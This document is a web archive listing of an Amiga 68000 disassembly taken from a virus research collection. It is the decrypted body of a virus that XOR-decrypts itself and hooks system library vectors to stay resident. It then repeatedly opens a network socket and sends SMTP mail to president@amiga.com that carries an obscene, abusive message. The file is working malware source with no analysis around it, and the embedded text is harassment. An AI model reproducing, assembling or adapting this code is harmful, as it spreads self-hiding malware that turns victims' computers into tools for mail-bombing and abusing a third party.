home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusResearch / zakapior / CMQ060_dec.asm < prev    next >
Encoding:
Assembly Source File  |  1999-07-14  |  12.4 KB  |  517 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $2000
  6. EXT_0002    EQU    $39290000
  7. EXT_0003    EQU    $FFFFFD8A
  8. EXT_0004    EQU    $FFFFFD90
  9.  
  10.  
  11.  
  12.  
  13.     SECTION S_0,CODE
  14.  
  15. SECSTRT_0:
  16.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;000: 48E7FFFE
  17.     MOVEA.L    (ABSEXECBASE).W,A6    ;004: 2C780004
  18.     LEA    LAB_0001(PC),A0        ;008: 41FA0014
  19.     LEA    LAB_001C+2(PC),A1    ;00C: 43FA0208
  20.     MOVE    #$DEAD,D0        ;010: 303CDEAD
  21. LAB_0000:
  22.     EOR    D0,(A0)+        ;014: B158
  23.     CMPA.L    A0,A1            ;016: B3C8
  24.     BNE.S    LAB_0000        ;018: 66FA
  25.     JSR    -636(A6)        ;01A: 4EAEFD84
  26. LAB_0001:
  27.     BSR.S    LAB_0002        ;01E: 610C
  28.     DC.W    $646F            ;020
  29.     DC.W    $732E            ;022
  30.     DC.W    $6C69            ;024
  31.     BHI.S    LAB_0006        ;026: 6272
  32.     BSR.S    LAB_0007        ;028: 6172
  33.     DC.W    $7900            ;02A
  34. LAB_0002:
  35.     MOVEA.L    (A7)+,A1        ;02C: 225F
  36.     MOVEQ    #37,D0            ;02E: 7025
  37.     JSR    -552(A6)        ;030: 4EAEFDD8
  38.     MOVE.L    D0,D6            ;034: 2C00
  39.     BEQ.S    LAB_0004        ;036: 6744
  40.     LEA    LAB_001C+2(PC),A0    ;038: 41FA01DC
  41.     MOVE.L    D6,(A0)            ;03C: 2086
  42.     MOVE.L    #$00000196,D4        ;03E: 283C00000196
  43.     MOVEQ    #0,D1            ;044: 7200
  44.     MOVE.L    D4,D0            ;046: 2004
  45.     JSR    -684(A6)        ;048: 4EAEFD54
  46.     MOVE.L    D0,D5            ;04C: 2A00
  47.     BEQ.S    LAB_0003        ;04E: 6726
  48.     MOVEA.L    D0,A1            ;050: 2240
  49.     LEA    LAB_0005(PC),A0        ;052: 41FA0030
  50.     MOVE.L    D4,D0            ;056: 2004
  51.     JSR    -624(A6)        ;058: 4EAEFD90
  52.     EXG    D6,A6            ;05C: CD8E
  53.     LEA    LAB_001B(PC),A0        ;05E: 41FA01AC
  54.     LEA    LAB_0019(PC),A1        ;062: 43FA0194
  55.     MOVE.L    A0,12(A1)        ;066: 2348000C
  56.     MOVE.L    A1,D1            ;06A: 2209
  57.     MOVE.L    D5,4(A1)        ;06C: 23450004
  58.     JSR    -498(A6)        ;070: 4EAEFE0E
  59.     EXG    D6,A6            ;074: CD8E
  60. LAB_0003:
  61.     MOVEA.L    D6,A1            ;076: 2246
  62.     JSR    -414(A6)        ;078: 4EAEFE62
  63. LAB_0004:
  64.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;07C: 4CDF7FFF
  65.     BRA    LAB_001D        ;080: 60000198
  66. LAB_0005:
  67.     MOVEA.L    (ABSEXECBASE).W,A6    ;084: 2C780004
  68.     MOVEQ    #4,D0            ;088: 7004
  69.     LEA    LAB_000E(PC),A1        ;08A: 43FA0092
  70.     JSR    -552(A6)        ;08E: 4EAEFDD8
  71.     TST.L    D0            ;092: 4A80
  72.     BEQ.S    LAB_000D        ;094: 6774
  73.     MOVEQ    #-1,D4            ;096: 78FF
  74.     MOVEA.L    D0,A5            ;098: 2A40
  75. LAB_0006:
  76.     MOVEQ    #2,D0            ;09A: 7002
  77. LAB_0007:
  78.     MOVEQ    #1,D1            ;09C: 7201
  79.     MOVEQ    #0,D2            ;09E: 7400
  80.     EXG    A5,A6            ;0A0: CB4E
  81.     JSR    -30(A6)            ;0A2: 4EAEFFE2
  82.     CMP.L    D4,D0            ;0A6: B084
  83.     BEQ.S    LAB_000C        ;0A8: 6758
  84.     MOVE.L    D0,D6            ;0AA: 2C00
  85.     MOVE.L    #$0000FFFF,D1        ;0AC: 223C0000FFFF
  86.     MOVE.L    #$00000080,D2        ;0B2: 243C00000080
  87.     LEA    LAB_0010(PC),A0        ;0B8: 41FA0082
  88.     MOVEQ    #8,D3            ;0BC: 7608
  89.     JSR    -90(A6)            ;0BE: 4EAEFFA6
  90.     LEA    LAB_000F(PC),A0        ;0C2: 41FA006C
  91.     MOVE.L    D6,D0            ;0C6: 2006
  92.     MOVEQ    #16,D1            ;0C8: 7210
  93.     JSR    -54(A6)            ;0CA: 4EAEFFCA
  94.     CMP.L    D4,D0            ;0CE: B084
  95.     BEQ.S    LAB_000B        ;0D0: 672A
  96.     LEA    LAB_0011(PC),A3        ;0D2: 47FA0070
  97. LAB_0008:
  98.     MOVE.L    A3,D0            ;0D6: 200B
  99. LAB_0009:
  100.     TST.B    (A3)+            ;0D8: 4A1B
  101.     BNE.S    LAB_0009        ;0DA: 66FC
  102.     MOVE.L    A3,D3            ;0DC: 260B
  103.     SUB.L    D0,D3            ;0DE: 9680
  104.     SUBQ.L    #1,D3            ;0E0: 5383
  105.     BEQ.S    LAB_000A        ;0E2: 6710
  106.     MOVEA.L    D0,A0            ;0E4: 2040
  107.     MOVEQ    #0,D2            ;0E6: 7400
  108.     MOVE.L    D6,D0            ;0E8: 2006
  109.     MOVE.L    D3,D1            ;0EA: 2203
  110.     JSR    -66(A6)            ;0EC: 4EAEFFBE
  111.     CMP.L    D0,D3            ;0F0: B680
  112.     BEQ.S    LAB_0008        ;0F2: 67E2
  113. LAB_000A:
  114.     MOVE.L    D6,D0            ;0F4: 2006
  115.     MOVEQ    #2,D1            ;0F6: 7202
  116.     JSR    -84(A6)            ;0F8: 4EAEFFAC
  117. LAB_000B:
  118.     MOVE.L    D6,D0            ;0FC: 2006
  119.     JSR    -120(A6)        ;0FE: 4EAEFF88
  120. LAB_000C:
  121.     EXG    A5,A6            ;102: CB4E
  122.     MOVEA.L    A5,A1            ;104: 224D
  123.     JSR    -414(A6)        ;106: 4EAEFE62
  124. LAB_000D:
  125.     LEA    LAB_001C+2(PC),A0    ;10A: 41FA010A
  126.     MOVEA.L    (A0),A6            ;10E: 2C50
  127.     MOVE.L    #$00000BB8,D1        ;110: 223C00000BB8
  128.     JSR    -198(A6)        ;116: 4EAEFF3A
  129.     BRA    LAB_0005        ;11A: 6000FF68
  130. LAB_000E:
  131.     DC.W    $6273            ;11E
  132.     DC.W    $6473            ;120
  133.     DC.W    $6F63            ;122
  134.     DC.W    $6B65            ;124
  135.     MOVEQ    #46,D2            ;126: 742E
  136.     DC.W    $6C69            ;128
  137.     BHI.S    LAB_0012        ;12A: 6272
  138.     BSR.S    LAB_0013        ;12C: 6172
  139.     DC.W    $7900            ;12E
  140. LAB_000F:
  141.     MOVE.B    D2,D0            ;130: 1002
  142.     DC.W    $0019            ;132
  143.     EXG    D1,A7            ;134: C38F
  144.     MOVEA    D6,A4            ;136: 3846
  145.     ORI.B    #$00,D0            ;138: 00000000
  146. LAB_0010:
  147.     ORI.B    #$01,D0            ;13C: 00000001
  148.     ORI.B    #$1E,D0            ;140: 0000001E
  149. LAB_0011:
  150.     SWAP    D5            ;144: 4845
  151.     DC.W    $4C4F            ;146
  152.     DC.W    $0A00            ;148
  153.     DC.W    $4D41            ;14A
  154.     DC.W    $494C            ;14C
  155.     MOVEA.L    D6,A0            ;14E: 2046
  156.     ADDQ    #1,A7            ;150: 524F
  157.     DC.W    $4D3A            ;152
  158.     MOVE.L    #$583E0A00,D0        ;154: 203C583E0A00
  159.     ADDQ    #1,D3            ;15A: 5243
  160.     ADDQ    #8,(A4)            ;15C: 5054
  161.     MOVEA.L    (A4),A0            ;15E: 2054
  162.     DC.W    $4F3A            ;160
  163.     MOVE.L    #$70726573,D0        ;162: 203C70726573
  164.     BVS.S    LAB_0017        ;168: 6964
  165.     BCS.S    LAB_0018        ;16A: 656E
  166.     MOVEQ    #64,D2            ;16C: 7440
  167.     DC.W    $616D            ;16E
  168.     DC.W    $6967            ;170
  169.     BSR.S    LAB_0014        ;172: 612E
  170.     DC.W    $636F            ;174
  171.     BLT.S    LAB_0016        ;176: 6D3E
  172.     DC.W    $0A00            ;178
  173.     NEG    D1            ;17A: 4441
  174.     ADDQ    #2,D1            ;17C: 5441
  175.     DC.W    $0A00            ;17E
  176.     DC.W    $4672            ;180
  177.     DC.W    $6F6D            ;182
  178.     MOVE    -(A0),D5        ;184: 3A20
  179.     DC.W    $416D            ;186
  180.     DC.W    $6967            ;188
  181.     BSR.S    LAB_0015        ;18A: 6120
  182.     DC.W    $4C6F            ;18C
  183.     MOVEQ    #101,D3            ;18E: 7665
  184.     MOVEQ    #32,D1            ;190: 7220
  185.     DC.W    $3C3E            ;192
  186.     DC.W    $0A00            ;194
  187.     DC.W    $5375            ;196
  188.     BHI.S    LAB_001A+2        ;198: 626A
  189.     DC.W    $6563            ;19A
  190.     MOVEQ    #58,D2            ;19C: 743A
  191. LAB_0012:
  192.     MOVEA.L    D6,A0            ;19E: 2046
  193. LAB_0013:
  194.     DC.W    $494C            ;1A0
  195. LAB_0014:
  196.     ADDQ    #2,A0            ;1A2: 5448
  197.     SUBQ.B    #4,-(A0)        ;1A4: 5920
  198.     DC.W    $4355            ;1A6
  199.     LINK    A4,#8458        ;1A8: 4E54210A
  200. LAB_0015:
  201.     DC.W    $0A00            ;1AC
  202.     NOT    (A5)            ;1AE: 4655
  203.     DC.W    $434B            ;1B0
  204.     MOVEA.L    (A5),A0            ;1B2: 2055
  205.     MOVEA.L    A6,A0            ;1B4: 204E
  206. LAB_0016:
  207.     DC.W    $415A            ;1B6
  208.     DC.W    $4920            ;1B8
  209.     DC.W    $4355            ;1BA
  210.     DC.W    $4E54            ;1BC
  211.     MOVE.L    8260(A5),D0        ;1BE: 202D2044
  212.     DC.W    $4945            ;1C2
  213.     MOVEA.L    D1,A0            ;1C4: 2041
  214.     TRAP    #4            ;1C6: 4E44
  215.     MOVEA.L    D2,A0            ;1C8: 2042
  216.     SUBQ    #2,(A2)            ;1CA: 5552
  217.     DC.W    $4E20            ;1CC
  218. LAB_0017:
  219.     DC.W    $494E            ;1CE
  220.     MOVEA.L    A0,A0            ;1D0: 2048
  221.     DC.W    $454C            ;1D2
  222.     DC.W    $4C20            ;1D4
  223.     DC.W    $414D            ;1D6
  224.     DC.W    $4947            ;1D8
  225. LAB_0018:
  226.     DC.W    $4120            ;1DA
  227.     DC.W    $4B49            ;1DC
  228.     DC.W    $4C4C            ;1DE
  229.     DC.W    $494E            ;1E0
  230.     DC.W    $4720            ;1E2
  231.     SUBQ    #3,A0            ;1E4: 5748
  232.     DC.W    $4F52            ;1E6
  233.     DC.W    $4521            ;1E8
  234.     DC.W    $0A00            ;1EA
  235.     DC.W    $0A0A            ;1EC
  236.     MOVE.L    A2,D7            ;1EE: 2E0A
  237.     ORI    #$5549,(A1)        ;1F0: 00515549
  238.     DC.W    $540A            ;1F4
  239.     DC.W    $0000            ;1F6
  240. LAB_0019:
  241.     OR.B    D0,D0            ;1F8: 8000
  242.     BSET    D1,0(A3)        ;1FA: 03EB0000
  243.     DC.W    $0000            ;1FE
  244.     OR.B    D0,D0            ;200: 8000
  245. LAB_001A:
  246.     BSET    D1,0(A4,D0.W)        ;202: 03F40000
  247.     ORI.B    #$00,D0            ;206: 00000000
  248.     DC.W    $0000            ;20A
  249. LAB_001B:
  250.     MOVEQ    #97,D5            ;20C: 7A61
  251.     DC.W    $6B61            ;20E
  252.     MOVEQ    #105,D0            ;210: 7069
  253.     BLE.S    LAB_0020        ;212: 6F72
  254. LAB_001C:
  255.     ORI.B    #$00,D0            ;214: 00000000
  256.     DC.W    $0000            ;218
  257. LAB_001D:
  258.     MOVEA.L    (ABSEXECBASE).W,A6    ;21A: 2C780004
  259.     BTST    #3,297(A6)        ;21E: 082E00030129
  260.     BNE.S    LAB_001F        ;224: 6604
  261. LAB_001E:
  262.     MOVEQ    #20,D0            ;226: 7014
  263.     RTS                ;228: 4E75
  264. LAB_001F:
  265.     MOVE.L    #$000001A3,D0        ;22A: 203C000001A3
  266.     MOVEQ    #1,D1            ;230: 7201
  267.     JSR    -198(A6)        ;232: 4EAEFF3A
  268.     MOVE.L    D0,D6            ;236: 2C00
  269.     BEQ.S    LAB_001E        ;238: 67EC
  270.     ADDI    #$000F,D6        ;23A: 0646000F
  271.     ANDI.B    #$F0,D6            ;23E: 020600F0
  272.     LEA    LAB_0021(PC),A0        ;242: 41FA004C
  273.     MOVEA.L    D6,A1            ;246: 2246
  274.     MOVE.L    #$00000194,D0        ;248: 203C00000194
  275.     BSR    LAB_0030        ;24E: 61000128
  276.     MOVEA.L    A6,A1            ;252: 224E
  277.     LEA    (EXT_0004).W,A0        ;254: 41F8FD90
  278.     MOVE.L    D6,D0            ;258: 2006
  279.     JSR    -420(A6)        ;25A: 4EAEFE5C
  280.     MOVEA.L    A6,A1            ;25E: 224E
  281.     LEA    (EXT_0003).W,A0        ;260: 41F8FD8A
  282.     MOVE.L    D6,D0            ;264: 2006
  283.     ADDI.L    #$000000E8,D0        ;266: 0680000000E8
  284.     JSR    -420(A6)        ;26C: 4EAEFE5C
  285.     MOVEQ    #0,D0            ;270: 7000
  286.     RTS                ;272: 4E75
  287.     MOVEA.L    (A6),A2            ;274: 2456
  288.     DC.W    $4552            ;276
  289.     MOVE    -(A0),D5        ;278: 3A20
  290.     DC.W    $434D            ;27A
  291.     DC.W    $5130            ;27C
  292.     DC.W    $3630            ;27E
  293.     DC.W    $2031            ;280
  294.     MOVE.L    40(A5,D2.W),D7        ;282: 2E352028
  295. LAB_0020:
  296.     DC.W    $3130            ;286
  297.     DC.W    $2E37            ;288
  298.     MOVE.L    EXT_0002,D7        ;28A: 2E3939290000
  299. LAB_0021:
  300.     TST.L    D0            ;290: 4A80
  301.     BEQ.S    LAB_0029        ;292: 674C
  302.     MOVE    A1,D1            ;294: 3209
  303.     BTST    #0,D1            ;296: 08010000
  304.     BEQ.S    LAB_0022        ;29A: 6708
  305.     MOVE.B    (A0)+,(A1)+        ;29C: 12D8
  306.     SUBQ.L    #1,D0            ;29E: 5380
  307.     BEQ.S    LAB_0029        ;2A0: 673E
  308.     MOVE    A1,D1            ;2A2: 3209
  309. LAB_0022:
  310.     BTST    #1,D1            ;2A4: 08010001
  311.     BEQ.S    LAB_0024        ;2A8: 6712
  312.     CMPI.L    #$00000001,D0        ;2AA: 0C8000000001
  313.     BNE.S    LAB_0023        ;2B0: 6604
  314.     MOVE.B    (A0)+,(A1)+        ;2B2: 12D8
  315.     RTS                ;2B4: 4E75
  316. LAB_0023:
  317.     MOVE    (A0)+,(A1)+        ;2B6: 32D8
  318.     SUBQ.L    #2,D0            ;2B8: 5580
  319.     BEQ.S    LAB_0029        ;2BA: 6724
  320. LAB_0024:
  321.     CMPI.L    #$00000810,D0        ;2BC: 0C8000000810
  322.     BCC.S    LAB_002A        ;2C2: 641E
  323. LAB_0025:
  324.     MOVE.L    D0,D1            ;2C4: 2200
  325.     LSR    #2,D1            ;2C6: E449
  326.     BEQ.S    LAB_0027        ;2C8: 6706
  327. LAB_0026:
  328.     MOVE.L    (A0)+,(A1)+        ;2CA: 22D8
  329.     SUBQ    #1,D1            ;2CC: 5341
  330.     BNE.S    LAB_0026        ;2CE: 66FA
  331. LAB_0027:
  332.     BTST    #1,D0            ;2D0: 08000001
  333.     BEQ.S    LAB_0028        ;2D4: 6702
  334.     MOVE    (A0)+,(A1)+        ;2D6: 32D8
  335. LAB_0028:
  336.     BTST    #0,D0            ;2D8: 08000000
  337.     BEQ.S    LAB_0029        ;2DC: 6702
  338.     MOVE.B    (A0)+,(A1)+        ;2DE: 12D8
  339. LAB_0029:
  340.     RTS                ;2E0: 4E75
  341. LAB_002A:
  342.     CMPA.L    #$01000000,A0        ;2E2: B1FC01000000
  343.     BCS.S    LAB_002E        ;2E8: 655A
  344.     CMPA.L    #$01000000,A1        ;2EA: B3FC01000000
  345.     BCS.S    LAB_002E        ;2F0: 6552
  346.     MOVE    A1,D1            ;2F2: 3209
  347.     BTST    #2,D1            ;2F4: 08010002
  348.     BEQ.S    LAB_002B        ;2F8: 6706
  349.     SUBQ.L    #4,D0            ;2FA: 5980
  350.     MOVE.L    (A0)+,(A1)+        ;2FC: 22D8
  351.     MOVE    A1,D1            ;2FE: 3209
  352. LAB_002B:
  353.     BTST    #3,D1            ;300: 08010003
  354.     BEQ.S    LAB_002C        ;304: 6706
  355.     SUBQ.L    #8,D0            ;306: 5180
  356.     MOVE.L    (A0)+,(A1)+        ;308: 22D8
  357.     MOVE.L    (A0)+,(A1)+        ;30A: 22D8
  358. LAB_002C:
  359.     MOVE    A0,D1            ;30C: 3208
  360.     ANDI.B    #$0F,D1            ;30E: 0201000F
  361.     BNE.S    LAB_002E        ;312: 6630
  362.     MOVE.L    D0,D1            ;314: 2200
  363.     LSR.L    #7,D1            ;316: EE89
  364. LAB_002D:
  365.     DC.W    $F620            ;318
  366.     SUB.B    D0,D0            ;31A: 9000
  367.     DC.W    $F620            ;31C
  368.     SUB.B    D0,D0            ;31E: 9000
  369.     DC.W    $F620            ;320
  370.     SUB.B    D0,D0            ;322: 9000
  371.     DC.W    $F620            ;324
  372.     SUB.B    D0,D0            ;326: 9000
  373.     DC.W    $F620            ;328
  374.     SUB.B    D0,D0            ;32A: 9000
  375.     DC.W    $F620            ;32C
  376.     SUB.B    D0,D0            ;32E: 9000
  377.     DC.W    $F620            ;330
  378.     SUB.B    D0,D0            ;332: 9000
  379.     DC.W    $F620            ;334
  380.     SUB.B    D0,D0            ;336: 9000
  381.     SUBQ.L    #1,D1            ;338: 5381
  382.     BNE.S    LAB_002D        ;33A: 66DC
  383.     AND    #$007F,D0        ;33C: C07C007F
  384.     BNE.S    LAB_0025        ;340: 6682
  385.     RTS                ;342: 4E75
  386. LAB_002E:
  387.     MOVE.L    D0,D1            ;344: 2200
  388.     LSR.L    #6,D1            ;346: EC89
  389. LAB_002F:
  390.     MOVE.L    (A0)+,(A1)+        ;348: 22D8
  391.     MOVE.L    (A0)+,(A1)+        ;34A: 22D8
  392.     MOVE.L    (A0)+,(A1)+        ;34C: 22D8
  393.     MOVE.L    (A0)+,(A1)+        ;34E: 22D8
  394.     MOVE.L    (A0)+,(A1)+        ;350: 22D8
  395.     MOVE.L    (A0)+,(A1)+        ;352: 22D8
  396.     MOVE.L    (A0)+,(A1)+        ;354: 22D8
  397.     MOVE.L    (A0)+,(A1)+        ;356: 22D8
  398.     MOVE.L    (A0)+,(A1)+        ;358: 22D8
  399.     MOVE.L    (A0)+,(A1)+        ;35A: 22D8
  400.     MOVE.L    (A0)+,(A1)+        ;35C: 22D8
  401.     MOVE.L    (A0)+,(A1)+        ;35E: 22D8
  402.     MOVE.L    (A0)+,(A1)+        ;360: 22D8
  403.     MOVE.L    (A0)+,(A1)+        ;362: 22D8
  404.     MOVE.L    (A0)+,(A1)+        ;364: 22D8
  405.     MOVE.L    (A0)+,(A1)+        ;366: 22D8
  406.     SUBQ.L    #1,D1            ;368: 5381
  407.     BNE.S    LAB_002F        ;36A: 66DC
  408.     AND    #$003F,D0        ;36C: C07C003F
  409.     BNE    LAB_0025        ;370: 6600FF52
  410.     RTS                ;374: 4E75
  411.     NOP                ;376: 4E71
  412. LAB_0030:
  413.     LSR.L    #2,D0            ;378: E488
  414.     CMPI.L    #$00000204,D0        ;37A: 0C8000000204
  415.     BCC.S    LAB_0033        ;380: 640C
  416.     TST    D0            ;382: 4A40
  417.     BEQ.S    LAB_0032        ;384: 6706
  418. LAB_0031:
  419.     MOVE.L    (A0)+,(A1)+        ;386: 22D8
  420.     SUBQ    #1,D0            ;388: 5340
  421.     BNE.S    LAB_0031        ;38A: 66FA
  422. LAB_0032:
  423.     RTS                ;38C: 4E75
  424. LAB_0033:
  425.     CMPA.L    #$01000000,A0        ;38E: B1FC01000000
  426.     BCS.S    LAB_0037        ;394: 655A
  427.     CMPA.L    #$01000000,A1        ;396: B3FC01000000
  428.     BCS.S    LAB_0037        ;39C: 6552
  429.     MOVE    A1,D1            ;39E: 3209
  430.     BTST    #2,D1            ;3A0: 08010002
  431.     BEQ.S    LAB_0034        ;3A4: 6706
  432.     SUBQ.L    #1,D0            ;3A6: 5380
  433.     MOVE.L    (A0)+,(A1)+        ;3A8: 22D8
  434.     MOVE    A1,D1            ;3AA: 3209
  435. LAB_0034:
  436.     BTST    #3,D1            ;3AC: 08010003
  437.     BEQ.S    LAB_0035        ;3B0: 6706
  438.     SUBQ.L    #2,D0            ;3B2: 5580
  439.     MOVE.L    (A0)+,(A1)+        ;3B4: 22D8
  440.     MOVE.L    (A0)+,(A1)+        ;3B6: 22D8
  441. LAB_0035:
  442.     MOVE    A0,D1            ;3B8: 3208
  443.     ANDI.B    #$0F,D1            ;3BA: 0201000F
  444.     BNE.S    LAB_0037        ;3BE: 6630
  445.     MOVE.L    D0,D1            ;3C0: 2200
  446.     LSR.L    #5,D1            ;3C2: EA89
  447. LAB_0036:
  448.     DC.W    $F620            ;3C4
  449.     SUB.B    D0,D0            ;3C6: 9000
  450.     DC.W    $F620            ;3C8
  451.     SUB.B    D0,D0            ;3CA: 9000
  452.     DC.W    $F620            ;3CC
  453.     SUB.B    D0,D0            ;3CE: 9000
  454.     DC.W    $F620            ;3D0
  455.     SUB.B    D0,D0            ;3D2: 9000
  456.     DC.W    $F620            ;3D4
  457.     SUB.B    D0,D0            ;3D6: 9000
  458.     DC.W    $F620            ;3D8
  459.     SUB.B    D0,D0            ;3DA: 9000
  460.     DC.W    $F620            ;3DC
  461.     SUB.B    D0,D0            ;3DE: 9000
  462.     DC.W    $F620            ;3E0
  463.     SUB.B    D0,D0            ;3E2: 9000
  464.     SUBQ.L    #1,D1            ;3E4: 5381
  465.     BNE.S    LAB_0036        ;3E6: 66DC
  466.     AND    #$001F,D0        ;3E8: C07C001F
  467.     BNE.S    LAB_0031        ;3EC: 6698
  468.     RTS                ;3EE: 4E75
  469. LAB_0037:
  470.     MOVE.L    D0,D1            ;3F0: 2200
  471.     LSR.L    #4,D1            ;3F2: E889
  472. LAB_0038:
  473.     MOVE.L    (A0)+,(A1)+        ;3F4: 22D8
  474.     MOVE.L    (A0)+,(A1)+        ;3F6: 22D8
  475.     MOVE.L    (A0)+,(A1)+        ;3F8: 22D8
  476.     MOVE.L    (A0)+,(A1)+        ;3FA: 22D8
  477.     MOVE.L    (A0)+,(A1)+        ;3FC: 22D8
  478.     MOVE.L    (A0)+,(A1)+        ;3FE: 22D8
  479.     MOVE.L    (A0)+,(A1)+        ;400: 22D8
  480.     MOVE.L    (A0)+,(A1)+        ;402: 22D8
  481.     MOVE.L    (A0)+,(A1)+        ;404: 22D8
  482.     MOVE.L    (A0)+,(A1)+        ;406: 22D8
  483.     MOVE.L    (A0)+,(A1)+        ;408: 22D8
  484.     MOVE.L    (A0)+,(A1)+        ;40A: 22D8
  485.     MOVE.L    (A0)+,(A1)+        ;40C: 22D8
  486.     MOVE.L    (A0)+,(A1)+        ;40E: 22D8
  487.     MOVE.L    (A0)+,(A1)+        ;410: 22D8
  488.     MOVE.L    (A0)+,(A1)+        ;412: 22D8
  489.     SUBQ.L    #1,D1            ;414: 5381
  490.     BNE.S    LAB_0038        ;416: 66DC
  491.     AND    #$000F,D0        ;418: C07C000F
  492.     BNE    LAB_0031        ;41C: 6600FF68
  493.     RTS                ;420: 4E75
  494.     NOP                ;422: 4E71
  495.     MOVE    48(A0,D3.W),D0        ;424: 30303030
  496.     BVC.S    LAB_0039        ;428: 6818
  497.     MOVE.L    A0,(A3)            ;42A: 2688
  498.     DC.W    $682A            ;42C
  499.     DC.W    $6D50            ;42E
  500.     DC.W    $0000            ;430
  501.     DC.W    $682A            ;432
  502.     MOVEQ    #85,D2            ;434: 7455
  503.     ORI.B    #$33,D0            ;436: 00000033
  504.     DC.W    $9B30            ;43A
  505.     DC.W    $6D48            ;43C
  506.     DC.W    $6578            ;43E
  507.     DC.W    $206E            ;440
  508. LAB_0039:
  509.     DC.W    $756D            ;442
  510.     DC.W    $6265            ;444
  511.     MOVEQ    #32,D1            ;446: 7220
  512.     DC.W    $3638            ;448
  513.     MOVEA    D1,A1            ;44A: 3241
  514.     DC.W    $3734            ;44C
  515.     DC.W    $3638            ;44E
  516.     END
  517.